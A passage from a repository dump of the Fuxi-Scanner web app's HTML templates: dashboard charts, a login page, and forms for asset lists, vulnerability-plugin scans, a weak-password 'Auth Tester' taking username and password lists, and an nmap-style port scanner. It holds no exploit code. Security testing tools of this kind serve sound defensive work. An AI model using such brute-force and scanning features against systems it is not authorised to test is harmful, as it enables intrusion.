var hostTrend = document.getElementById(\"hostTrend\");\n        var weekpasswordStats = document.getElementById(\"weekpasswordStats\");\n\n        var vulChart = new Chart(vulTrend, {\n            type: 'line',\n            data: {\n                labels: [\n                    {% for vul_date in dashboard_data['vul_trend_date'] %}\n                        '{{ vul_date }}',\n                    {% endfor %}\n                ],\n                datasets: [{\n                    label: 'Vulnerability',\n                    data: [\n                        {% for count in dashboard_data['vul_trend_count'] %}\n                            {{ count }},\n                        {% endfor %}\n                    ],\n                    fillColor: \"rgba(220,220,220,0.2)\",\n                    strokeColor: \"rgba(220,220,220,1)\",\n                    borderColor: '#35c9a3',\n                    pointColor: \"rgba(220,220,220,1)\",\n                    pointStrokeColor: \"#fff\",\n                    pointHighlightFill: \"#fff\",\n                    pointHighlightStroke: \"rgba(220,220,220,1)\",\n                },\n                {\n                    label: 'Week Password',\n                    data: [\n                        {% for count in dashboard_data['week_passwd_trend'] %}\n                            {{ count }},\n                        {% endfor %}\n                    ],\n                    fillColor: \"rgba(220,220,220,0.2)\",\n                    strokeColor: \"rgba(220,220,220,1)\",\n                    borderColor: '#55acc9',\n                    pointColor: \"rgba(220,220,220,1)\",\n                    pointStrokeColor: \"#fff\",\n                    pointHighlightFill: \"#fff\",\n                    pointHighlightStroke: \"rgba(220,220,220,1)\",\n                }\n                ],\n            },\n            options: {}\n        });\n\n        var hostLine = new Chart(hostTrend, {\n            type: 'line',\n            data: {\n                labels: [\n                    {% for a in dashboard_data['host_trend_date'] %}\n                        '{{ a }}',\n                    {% endfor %}\n                ],\n                datasets: [{\n                    label: 'Host',\n                    data: [\n                        {% for b in dashboard_data['host_trend_count'] %}\n                            {{ b }},\n                        {% endfor %}\n                    ],\n                    fillColor: \"rgba(220,220,220,0.2)\",\n                    strokeColor: \"rgba(220,220,220,1)\",\n                    borderColor: '#35c9a3',\n                    pointColor: \"rgba(220,220,220,1)\",\n                    pointStrokeColor: \"#fff\",\n                    pointHighlightFill: \"#fff\",\n                    pointHighlightStroke: \"rgba(220,220,220,1)\",\n                },\n                {\n                    label: 'Server',\n                    data: [\n                        {% for s in dashboard_data['server_trend_count'] %}\n                            {{ s }},\n                        {% endfor %}\n                    ],\n                    fillColor: \"rgba(220,220,220,0.2)\",\n                    strokeColor: \"rgba(220,220,220,1)\",\n                    borderColor: '#55acc9',\n                    pointColor: \"rgba(220,220,220,1)\",\n                    pointStrokeColor: \"#fff\",\n                    pointHighlightFill: \"#fff\",\n                    pointHighlightStroke: \"rgba(220,220,220,1)\",\n                }\n                ],\n            },\n            options: {}\n        });\n\n        var vulStats = new Chart(vulStats,{\n            type: 'pie',\n            data: {\n                datasets: [{\n                    data: [\n                        {% for count in dashboard_data['vul_stats_count'] %}\n                            '{{ count }}',\n                        {% endfor %}\n                    ],\n\n                    backgroundColor: [\n                        '#1abc9c',\n                        '#3498db',\n                        '#9b59b6',\n                        '#f1c40f',\n                        '#e67e22',\n                        '#e74c3c',\n                        '#2c3e50',\n                        '#f39c12',\n                        '#badc58',\n                        '#7ed6df'\n                    ],\n                }],\n                labels: [\n                    {% for name in dashboard_data['vul_stats_name'] %}\n                        '{{ name }}',\n                    {% endfor %}\n                ],\n                color: \"#46BFBD\",\n                highlight: \"#5AD3D1\",\n            },\n            options: {\n                {#responsive: false,#}\n            }\n        });\n\n        var passwdStats = new Chart(weekpasswordStats,{\n            type: 'pie',\n            data: {\n                datasets: [{\n                    data: [\n                        {% for p_c in dashboard_data['password_stats_count'] %}\n                            '{{ p_c }}',\n                        {% endfor %}\n                    ],\n\n                    backgroundColor: [\n                        '#1abc9c',\n                        '#3498db',\n                        '#9b59b6',\n                        '#f1c40f',\n                        '#e67e22',\n                        '#e74c3c',\n                        '#2c3e50',\n                        '#f39c12',\n                        '#badc58',\n                        '#7ed6df'\n                    ],\n                }],\n                labels: [\n                    {% for passwd in dashboard_data['password_stats_val'] %}\n                        '{{ passwd }}',\n                    {% endfor %}\n                ],\n                color: \"#46BFBD\",\n                highlight: \"#5AD3D1\",\n            },\n            options: {\n                {#responsive: false,#}\n            }\n        });\n\n    </script>\n    <script>\n        $(document).ready(function () {\n            $('#seebugRss').FeedEk({\n              FeedUrl:'https://www.seebug.org/rss/new/',\n              MaxCount: 6,\n              ShowDesc: false,\n              ShowPubDate: false,\n            });\n\n            $('#freebufRss').FeedEk({\n              FeedUrl:'http://www.freebuf.com/feed',\n              MaxCount: 6,\n              ShowDesc: false,\n              ShowPubDate: false,\n            });\n\n            $('#360Rss').FeedEk({\n              FeedUrl:'https://cert.360.cn/feed',\n              MaxCount: 6,\n              ShowDesc: false,\n              ShowPubDate: false,\n            });\n        });\n    </script>\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/index.html",
    "content": ""
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/login.html",
    "content": "<!DOCTYPE html>\n<html>\n    <head>\n        <meta charset=\"utf-8\">\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <!-- Main CSS-->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"static/css/main.css\">\n    <!-- Font-icon css-->\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"static/font/css/font-awesome.min.css\">\n        <title>Fuxi - Login</title>\n    </head>\n\n    <body>\n        <section class=\"material-half-bg\">\n            <div class=\"cover\"></div>\n        </section>\n\n        <section class=\"lockscreen-content\">\n            <div class=\"lock-box\">\n                <p class=\"text-center text-muted\">Account Locked</p>\n                <form class=\"unlock-form\" action=\"\" method=\"post\">\n                    <div class=\"form-group\">\n                        <label class=\"control-label\">PASSWORD</label>\n                        <input class=\"form-control\" type=\"password\" name=\"password\">\n                    </div>\n\n                    <div class=\"form-group btn-container\">\n                        <button class=\"btn btn-primary btn-block\" type=\"submit\"><i class=\"fa fa-lock fa-lg\"></i>Login </button>\n                    </div>\n                </form>\n\n            </div>\n        </section>\n\n        <script src=\"static/js/jquery/jquery-3.2.1.min.js\"></script>\n        <script src=\"static/js/popper.min.js\"></script>\n        <script src=\"static/js/bootstrap/bootstrap.min.js\"></script>\n        <script src=\"static/js/main.js\"></script>\n        <script src=\"static/js/plugins/pace.min.js\"></script>\n        <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n\n        <script>\n            $(function () {\n                $(\".login\").click(function() {\n                    const data = {\n                        \"password\": $('[name=\"password\"]').val()\n                    };\n                    $.ajax({\n                      type: \"POST\",\n                      url: \"/login\",\n                      data: data,\n                      success: function(e){\n                          if (e === \"success\") {\n                            swal({\n                                title: \"Successfully\",\n                                text: \"\",\n                                type: \"success\",\n                                timer: 700,\n                                confirmButtonText: \"OK\",\n                                closeOnConfirm: false\n                            },\n                            function(){\n                                location.href = \"/index\";\n                            });\n                        } else {\n                            swal({\n                                title: e,\n                                text: \"\",\n                                type: \"error\",\n                                confirmButtonColor: \"#DD6B55\",\n                                confirmButtonText: \"Cancel\",\n                                closeOnConfirm: false\n                            },\n                            function(){\n                                location.href = \"/login\";\n                            });\n                        }\n                      }\n                   });\n                });\n            });\n\n        </script>\n    </body>\n</html>"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/new-asset.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n{% endblock %}\n{% block content %}\n\n<main class=\"app-content\">\n    <div class=\"app-title\">\n        <div>\n            <h1><i class=\"fa fa-edit\"></i> New Asset</h1>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb\">\n            <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n            <li class=\"breadcrumb-item\">Home</li>\n            <li class=\"breadcrumb-item\"><a href=\"#\">New Asset</a></li>\n        </ul>\n    </div>\n\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <div class=\"tile\">\n                <div class=\"row\">\n                    <div class=\"col-lg-2\">\n\n                    </div>\n                    <div class=\"col-lg-8\">\n                        <form class=\"form-horizontal\">\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">Asset Name <span class=\"text-danger\">*</span></label>\n                                <div class=\"col-md-8\">\n                                    <input class=\"form-control\" name=\"asset_name\" type=\"text\" placeholder=\"Asset Name\">\n                                </div>\n                            </div>\n\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">Host <span class=\"text-danger\">*</span></label>\n                                <div class=\"col-md-8\">\n                                    <textarea class=\"form-control\" name=\"asset_host\" rows=\"8\" placeholder=\"Example:&#13;&#10;192.168.1.1&#13;&#10;192.168.1.0/24&#13;&#10;www.example.com\"></textarea>\n                                </div>\n                            </div>\n\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">Dept Name <span class=\"text-danger\">*</span></label>\n                                <div class=\"col-md-8\">\n                                   <input class=\"form-control\" name=\"dept_name\" type=\"text\" placeholder=\"Dept Name\">\n                                </div>\n                            </div>\n\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">Admin Name <span class=\"text-danger\">*</span></label>\n                                <div class=\"col-md-8\">\n                                   <input class=\"form-control\" name=\"admin_name\" type=\"text\" placeholder=\"Admin Name\">\n                                </div>\n                            </div>\n\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">Discover Option</label>\n                                <div class=\"toggle lg col-md-8\">\n                                    <label>\n                                        <input type=\"checkbox\" checked><span class=\"button-indecator\"></span>\n                                    </label>\n                                </div>\n                            </div>\n                        </form>\n                        <div class=\"tile-footer\">\n                            <button class=\"btn btn-primary \" id=\"newAsset\" type=\"button\">Submit</button>\n                        </div>\n                    </div>\n\n                    <div class=\"col-lg-2\">\n\n                    </div>\n                </div>\n            </div>\n        </div>\n    </div>\n</main>\n\n{% block js %}\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script src=\"static/js/plugins/select2.min.js\"></script>\n    <script src=\"static/js/server/new-asset.js\"></script>\n{% endblock %}\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/new-auth-tester.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n    <link href=\"static/css/duallistbox/bootstrap-duallistbox.css\" rel=\"stylesheet\">\n\n{% endblock %}\n{% block content %}\n\n<main class=\"app-content\">\n    <div class=\"app-title\">\n        <div>\n            <h1><i class=\"fa fa-edit\"></i> Auth Tester</h1>\n            <p>Create a new week password scan task</p>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb\">\n            <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n            <li class=\"breadcrumb-item\">Home</li>\n            <li class=\"breadcrumb-item\"><a href=\"#\">Auth Tester</a></li>\n        </ul>\n    </div>\n\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <div class=\"tile\">\n                <div class=\"row\">\n                    <div class=\"col-lg-2\">\n                    </div>\n                    <div class=\"col-lg-8\">\n                        <form class=\"form-horizontal\">\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">Task Name <span class=\"text-danger\">*</span></label>\n                                <div class=\"col-md-9\">\n                                    <input class=\"form-control\" name=\"task_name\" type=\"text\" placeholder=\"Task Name\">\n                                </div>\n                            </div>\n\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">Recursion </label>\n                                <div class=\"col-md-9\">\n                                    <select class=\"form-control col-md-6\" name=\"recursion\" title=\"Recursion\">\n                                        <option value=\"0\">Once</option>\n                                        <option value=\"1\">Every day</option>\n                                        <option value=\"7\">Every week</option>\n                                        <option value=\"30\">Every month</option>\n                                    </select>\n                                </div>\n                            </div>\n\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">Args </label>\n                                <div class=\"col-md-9\">\n                                    <input class=\"form-control\" name=\"args\" title=\"Args\" placeholder=\"\"/>\n                                </div>\n                            </div>\n\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">Protocols Select <span class=\"text-danger\">*</span></label>\n                                <div class=\"col-md-9\">\n                                    <select multiple=\"multiple\" size=\"7\" name=\"service_list\" title=\"Protocols\">\n                                        {% for a in protocols %}\n                                            <option value=\"{{ a }}\">{{ a | upper }}</option>\n                                        {% endfor %}\n                                    </select>\n                                </div>\n                            </div>\n\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">Target <span class=\"text-danger\">*</span></label>\n                                <div class=\"col-md-9\">\n                                    <textarea class=\"form-control\" name=\"target_list\" rows=\"8\" placeholder=\"Example:&#13;&#10;192.168.1.1&#13;&#10;192.168.1.0/24&#13;&#10;www.example.com\"></textarea>\n                                </div>\n                            </div>\n\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">User & Passwd <span class=\"text-danger\">*</span></label>\n                                <div class=\"col-md-9\">\n                                    <div class=\"form-group row\">\n                                        <div class=\"col-md-6\">\n                                            <textarea class=\"form-control\" placeholder=\"One username per line\" rows=\"6\" name=\"username_list\">{{ username_list }}</textarea>\n                                        </div>\n                                        <div class=\"col-md-6\">\n                                            <textarea class=\"form-control\" placeholder=\"One password per line\" rows=\"6\" name=\"password_list\">{{ password_list }}</textarea>\n                                        </div>\n                                    </div>\n                                </div>\n                            </div>\n\n                            <button class=\"btn btn-primary\" id=\"newAuth\" type=\"button\"><i class=\"fa fa-fw fa-lg fa-check-circle\"></i>Submit</button>\n                        </form>\n\n                    </div>\n                    <div class=\"col-md-2\">\n\n                    </div>\n                </div>\n            </div>\n        </div>\n    </div>\n</main>\n\n{% block js %}\n    <script src=\"static/js/jquery/jquery.bootstrap-duallistbox.js\"></script>\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script src=\"static/js/server/new-auth-tester.js\"></script>\n{% endblock %}\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/new-scan.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n    <link href=\"static/css/duallistbox/bootstrap-duallistbox.css\" rel=\"stylesheet\">\n\n{% endblock %}\n{% block content %}\n\n<main class=\"app-content\">\n    <div class=\"app-title\">\n        <div>\n            <h1><i class=\"fa fa-edit\"></i> New Scan</h1>\n            <p>Create a new scan task</p>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb\">\n            <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n            <li class=\"breadcrumb-item\">Forms</li>\n            <li class=\"breadcrumb-item\"><a href=\"#\">New Scan</a></li>\n        </ul>\n    </div>\n\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <div class=\"tile\">\n                <div class=\"row\">\n                    <div class=\"col-lg-2\">\n                    </div>\n                    <div class=\"col-lg-8\">\n                        <form class=\"form-horizontal\">\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">Task Name <span class=\"text-danger\">*</span></label>\n                                <div class=\"col-md-9\">\n                                    <input class=\"form-control\" name=\"taskname_val\" type=\"text\" placeholder=\"Task Name\">\n                                </div>\n                            </div>\n\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">Recursion </label>\n                                <div class=\"col-md-9\">\n                                    <select class=\"form-control col-md-6\" name=\"recursion_val\" title=\"Recursion\">\n                                        <option value=\"0\">Once</option>\n                                        <option value=\"1\">Every day</option>\n                                        <option value=\"7\">Every week</option>\n                                        <option value=\"30\">Every month</option>\n                                    </select>\n                                </div>\n                            </div>\n\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">Plugin Select <span class=\"text-danger\">*</span></label>\n                                <div class=\"col-md-9\">\n                                    <select multiple=\"multiple\" size=\"7\" name=\"plugin_list\">\n                                        {% for a in plugin_info %}\n                                            <option value=\"{{ a['_id'] }}\">{{ a['plugin_name'] }}</option>\n                                        {% endfor %}\n                                    </select>\n                                </div>\n                            </div>\n\n                            <div class=\"form-group row\">\n                                <label class=\"control-label col-md-3\">Target <span class=\"text-danger\">*</span></label>\n                                <div class=\"col-md-9\">\n                                    <textarea class=\"form-control\" name=\"target_val\" rows=\"8\" placeholder=\"Example:&#13;&#10;192.168.1.1&#13;&#10;192.168.1.0/24&#13;&#10;www.example.com\"></textarea>\n                                </div>\n                            </div>\n                        <button class=\"btn btn-primary\" id=\"showConfig\" type=\"button\"><i class=\"fa fa-fw fa-lg fa-check-circle\"></i>Submit</button>\n                        </form>\n\n                    </div>\n                    <div class=\"col-md-2\">\n\n                    </div>\n                </div>\n            </div>\n        </div>\n    </div>\n</main>\n\n{% block js %}\n    <script src=\"static/js/jquery/jquery.bootstrap-duallistbox.js\"></script>\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n\n    <script src=\"static/js/server/new-scan.js\"></script>\n{% endblock %}\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/plugin-management.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n    <link href=\"static/css/dropzone.css\" rel=\"stylesheet\">\n{% endblock %}\n{% block content %}\n<main class=\"app-content\">\n  <div class=\"app-title\">\n    <div>\n      <h1><i class=\"fa fa-th-list\"></i>&nbsp;Plugin Management</h1>\n      <p></p>\n    </div>\n    <ul class=\"app-breadcrumb breadcrumb side\">\n      <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n      <li class=\"breadcrumb-item\">Home</li>\n      <li class=\"breadcrumb-item active\"><a href=\"#\">Plugin List</a></li>\n    </ul>\n  </div>\n  <div class=\"row\">\n    <div class=\"col-md-12\">\n      <div class=\"tile\">\n        <div class=\"tile-body\">\n            <div id=\"sampleTable_wrapper\" class=\"dataTables_wrapper container-fluid dt-bootstrap4 no-footer\">\n                <div class=\"row\"><div class=\"col-sm-12 col-md-6\">\n                    <div class=\"dataTables_length\" id=\"sampleTable_length\">\n                        <a class=\"btn btn-primary\" href=\"#\" data-target=\"#newPlugin\" data-toggle=\"modal\" title=\"Add Plugins\">\n                            <i class=\"fa fa-gitlab fa-lg\"></i> Add Plugins</a>\n                        <br>\n                        <br>\n                    </div>\n                </div>\n            </div>\n\n          <table class=\"table table-hover table-bordered\" id=\"sampleTable\">\n            <thead>\n              <tr class=\"text-center\">\n                  <th>Name</th>\n                  <th>App</th>\n                  <th>Version</th>\n                  <th>Type</th>\n                  <th>Date</th>\n                  <th>Manage</th>\n              </tr>\n            </thead>\n            <tbody>\n            {% for i in plugin_info %}\n                <tr class=\"center\">\n                    <td>\n                        <a href=\"vulnerability?plugin={{ i['_id'] }}\">{{ i['plugin_name'] }}</a>\n                    </td>\n                    <td>{{ i['plugin_app'] }}</td>\n                    <td>{{ i['plugin_version'] }}</td>\n                    <td>{{ i['plugin_type'] }}</td>\n                    <td>{{ i['plugin_date'] }}</td>\n                    <td class=\"text-center\">\n                        <div class=\"hidden-sm hidden-xs action-buttons\">\n                            <a onclick=\"plugin_info('{{ i['_id'] }}')\"  role=\"button\" data-target=\"#pluginInfo\" data-toggle=\"modal\" href=\"#\" title=\"Plugin Info\" >\n                                <i class=\"fa fa-search-plus\"></i>\n                            </a>\n                            &nbsp;\n                            &nbsp;\n                            &nbsp;\n                            <a id=\"test1\" role=\"button\" href=\"#\" rel=\"{{ i['_id'] }}\"  onclick=\"delete_plugin('{{ i['_id'] }}')\" title=\"delete\">\n                                <i class=\"fa fa-trash-o\"></i>\n                            </a>\n                        </div>\n                    </td>\n                </tr>\n            {% endfor %}\n            </tbody>\n          </table>\n            <div class=\"modal\" id=\"pluginInfo\" >\n                <div class=\"modal-dialog\" role=\"document\">\n                    <div class=\"modal-content\">\n                        <div class=\"modal-header\">\n                            <h5 class=\"modal-title\">Plugin Info</h5>\n                            <button class=\"close\" type=\"button\" data-dismiss=\"modal\" aria-label=\"Close\"><span aria-hidden=\"true\">×</span></button>\n                        </div>\n                        <div class=\"modal-body\">\n                            <pre id=\"plugin_info\" title=\"Plugin Info\">Loading...</pre>\n                        </div>\n                        <div class=\"modal-footer\">\n                            <button class=\"btn btn-primary\" type=\"button\" data-dismiss=\"modal\">Close</button>\n                        </div>\n                    </div><!-- /.modal-content -->\n                </div><!-- /.modal-dialog -->\n            </div><!-- /.modal -->\n\n            <div class=\"modal\" id=\"newPlugin\" >\n                <div class=\"modal-dialog\" role=\"document\">\n                    <div class=\"modal-content\">\n                        <div class=\"modal-header\">\n                            <h5 class=\"modal-title\">Add Plugins</h5>\n                            <button class=\"close\" type=\"button\" data-dismiss=\"modal\" aria-label=\"Close\"><span aria-hidden=\"true\">×</span></button>\n                        </div>\n                        <div class=\"modal-body\">\n\n                            <form action=\"#\" class=\"dropzone\">\n                                <div class=\"fallback\">\n                                    <input name=\"file\" type=\"file\" multiple />\n                                </div>\n                            </form>\n                            <br>\n                            <p class=\"help-block\">Plugin Developer Guide:\n                                <a href=\"https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md\" target=\"view_window\">Pocsuite PoC </a>\n                            </p>\n                        </div>\n                        <div class=\"modal-footer\">\n                            <button type=\"button\" class=\"btn btn-secondary\"  data-dismiss=\"modal\" aria-hidden=\"true\">Cancel\n                            </button>\n{#                            <button class=\"btn btn-primary \" id=\"upload-plugin\" type=\"button\">#}\n{#                                <span>OK</span>#}\n{#                            </button>#}\n                        </div>\n                    </div><!-- /.modal-content -->\n                </div><!-- /.modal-dialog -->\n            </div><!-- /.modal -->\n            </div>\n        </div>\n      </div>\n    </div>\n  </div>\n</main>\n\n{% endblock %}\n{% block js %}\n    <!-- Data table plugin-->\n    <script type=\"text/javascript\" src=\"static/js/plugins/jquery.dataTables.min.js\"></script>\n    <script type=\"text/javascript\" src=\"static/js/plugins/dataTables.bootstrap.min.js\"></script>\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script src=\"static/js/plugins/dropzone.js\"></script>\n    <script src=\"static/js/server/plugin-management.js\"></script>\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/port-scanner.html",
    "content": "{% extends \"base.html\" %}\n{% block css %}\n{% endblock %}\n{% block content %}\n<main class=\"app-content\">\n    <div class=\"app-title\">\n        <div>\n          <h1><i class=\"fa fa-th-list\"></i>&nbsp;Port Scanner</h1>\n          <p></p>\n        </div>\n        <ul class=\"app-breadcrumb breadcrumb side\">\n          <li class=\"breadcrumb-item\"><i class=\"fa fa-home fa-lg\"></i></li>\n          <li class=\"breadcrumb-item\">Home</li>\n          <li class=\"breadcrumb-item active\"><a href=\"#\">Port Scanner</a></li>\n        </ul>\n    </div>\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <div class=\"tile\">\n                <div class=\"tile-body\">\n                    <div class=\"bs-component\">\n                        <ul class=\"nav nav-tabs\">\n                            <li class=\"nav-item\"><a class=\"nav-link active\" data-toggle=\"tab\" href=\"#home\">Add Scan</a></li>\n{#                            <li class=\"nav-item\"><a class=\"nav-link\" data-toggle=\"tab\" href=\"#profile\">Result</a></li>#}\n                            <li class=\"nav-item dropdown\"><a class=\"nav-link dropdown-toggle\" data-toggle=\"dropdown\" href=\"#\" role=\"button\" aria-haspopup=\"true\" aria-expanded=\"false\">Advanced</a>\n                                <div class=\"dropdown-menu\">\n                                    <a class=\"dropdown-item\"  role=\"button\" data-toggle=\"modal\" href=\"#\" data-target=\"#editPort\">Default Port</a>\n                                    <div class=\"dropdown-divider\"></div><a class=\"dropdown-item\" href=\"advanced-option\">Thread Settings</a>\n                                </div>\n                                <div class=\"modal fade\" id=\"editPort\" tabindex=\"-1\"  role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\">\n                                    <div class=\"modal-dialog\">\n                                        <div class=\"modal-content\">\n                                            <div class=\"modal-header\">\n                                                <h4 class=\"modal-title\" id=\"myModalLabel\">\n                                                    Default Port\n                                                </h4>\n                                            </div>\n                                            <div class=\"modal-body\" >\n                                                <form class=\"form-horizontal\" role=\"form\">\n\n                                                    <div class=\"form-group\">\n                                                        <label class=\"control-label no-padding-right\">One port per line</label>\n                                                        <div>\n                                                            <textarea class=\"form-control\" placeholder=\"One password per line\" rows=\"8\" name=\"edit_port_val\">{{ port_list }}</textarea>\n                                                        </div>\n                                                    </div>\n                                                    <div class=\"modal-footer\">\n                                                        <button type=\"button\" class=\"btn btn-secondary\"  data-dismiss=\"modal\" aria-hidden=\"true\">Cancel\n                                                        </button>\n                                                        <button class=\"btn btn-primary port-update\" type=\"button\">\n                                                            <span>Submit</span> <i class=\"fa fa-send m-l-10\"></i>\n                                                        </button>\n                                                    </div>\n                                                </form>\n                                            </div>\n                                        </div><!-- /.modal-content -->\n                                    </div><!-- /.modal-dialog -->\n                                </div>\n                            </li>\n                        </ul>\n                        <div class=\"tab-content\" id=\"myTabContent\">\n                            <div class=\"tab-pane fade active show\" id=\"home\">\n                                <div class=\"col-lg-8\">\n                                    <br>\n                                    <form class=\"form-horizontal\">\n                                        <div class=\"form-group row\">\n                                            <label class=\"control-label col-md-2\">Target <span class=\"text-danger\">*</span></label>\n                                            <div class=\"col-md-6\">\n                                                <input class=\"form-control\" name=\"target_val\" type=\"text\" value=\"{{ host }}\" placeholder=\"Example: 192.168.1.1 or 192.168.1.1/24\">\n                                            </div>\n                                            <div class=\"col-md-1\"></div>\n                                            <div class=\"col-md-3\">\n                                                <button class=\"btn btn-primary btn-block new-scan\" type=\"button\">Submit&nbsp;&nbsp;<i class=\"fa fa-arrow-circle-right\"></i></button>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"form-group row\">\n                                            <label class=\"control-label col-md-2\">Arguments </label>\n                                            <div class=\"col-md-10\">\n                                                <select class=\"form-control col-md-5\" name=\"arguments_val\" title=\"Recursion\">\n                                                    <option value=\"0\">Default</option>\n                                                    <option value=\"1\">-sT -T4 --open -p</option>\n                                                    <option value=\"2\">-sS -T4 -Pn -p</option>\n                                                    <option value=\"3\">-sT -sV -O -A -p</option>\n                                                </select>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"form-group row\">\n                                            <label class=\"control-label col-md-2\">Port</label>\n                                            <div class=\"col-md-10\">\n                                                <textarea class=\"form-control\" title=\"\" rows=\"2\" name=\"port_val\" >{{ port }}</textarea>\n                                            </div>\n                                        </div>\n\n                                        <div class=\"form-group row\">\n                                            <label class=\"control-label col-md-2\">Result</label>\n                                            <div class=\"col-md-10\" id=\"pre_result\">\n                                                <pre class='form-control'>{{ result }}</pre>\n                                            </div>\n                                        </div>\n                                    </form>\n                                </div>\n                            </div>\n\n{#                            <div class=\"tab-pane fade\" id=\"profile\">#}\n{#                                <br>#}\n{#                                <div class=\"col-md-12\">#}\n{#                                  <div class=\"tile\">#}\n{#                                      <div class=\"tile-body\">#}\n{#                                          <table class=\"table table-hover table-bordered\" id=\"sampleTable\">#}\n{#                                              <thead>#}\n{#                                                  <tr class=\"text-center\">#}\n{#                                                      <th>Host</th>#}\n{#                                                      <th>status</th>#}\n{#                                                      <th>Date</th>#}\n{#                                                      <th>Manage</th>#}\n{#                                                  </tr>#}\n{#                                              </thead>#}\n{#                                              <tbody>#}\n{#                                              {% for i in port_data %}#}\n{#                                              <tr>#}\n{#                                                  <td>#}\n{#                                                      <a href=\"\">{{ i['host'] }}</a>#}\n{#                                                  </td>#}\n{#                                                  <td>{{ i['status'] }}</td>#}\n{#                                                  <td>{{ i['date'] }}</td>#}\n{#                                                  <td class=\"text-center\">#}\n{#                                                      <a role=\"button\" href=\"#\" onclick=\"port_result('{{ i['_id'] }}')\" title=\"Result\" data-toggle=\"modal\" data-target=\"#portResult\">#}\n{#                                                          <i class=\"fa fa-file-archive-o\"></i>#}\n{#                                                      </a>#}\n{#                                                      &nbsp;#}\n{#                                                      <a onclick=\"result_delete('{{ i['_id'] }}')\"  role=\"button\" href=\"#\" title=\"Delete\">#}\n{#                                                          <i class=\"fa fa-trash-o\"></i>#}\n{#                                                      </a>#}\n{#                                                  </td>#}\n{#                                              </tr>#}\n{#                                              {% endfor %}#}\n{#                                              </tbody>#}\n{#                                          </table>#}\n{#                                          <div class=\"modal fade\" id=\"portResult\" tabindex=\"-1\"  role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\">#}\n{#                                              <div class=\"modal-dialog\">#}\n{#                                                  <div class=\"modal-content\">#}\n{#                                                      <div class=\"modal-header\">#}\n{#                                                          <h4 class=\"modal-title\" id=\"myModalLabel\">#}\n{#                                                              Result#}\n{#                                                          </h4>#}\n{#                                                      </div>#}\n{#                                                      <div class=\"modal-body\" >#}\n{#                                                          <p id=\"port_result\" title=\"Port Scan Result\">Loading...</p>#}\n{#                                                      </div>#}\n{#                                                  </div><!-- /.modal-content -->#}\n{#                                              </div><!-- /.modal-dialog -->#}\n{#                                          </div><!-- /.modal-end -->#}\n{#                                      </div>#}\n{#                                  </div>#}\n{#                                </div>#}\n{#                            </div>#}\n\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n      </div>\n    </main>\n\n{% endblock %}\n{% block js %}\n    <!-- Data table plugin-->\n    <script type=\"text/javascript\" src=\"static/js/plugins/jquery.dataTables.min.js\"></script>\n    <script type=\"text/javascript\" src=\"static/js/plugins/dataTables.bootstrap.min.js\"></script>\n    <script src=\"static/js/plugins/sweetalert/sweetalert.min.js\"></script>\n    <script src=\"static/js/server/port-scanner.js\"></script>\n\n{% endblock %}"
  },
  {
    "path": "Weak_Password/Fuxi-Scanner/fuxi/templates/search.html",
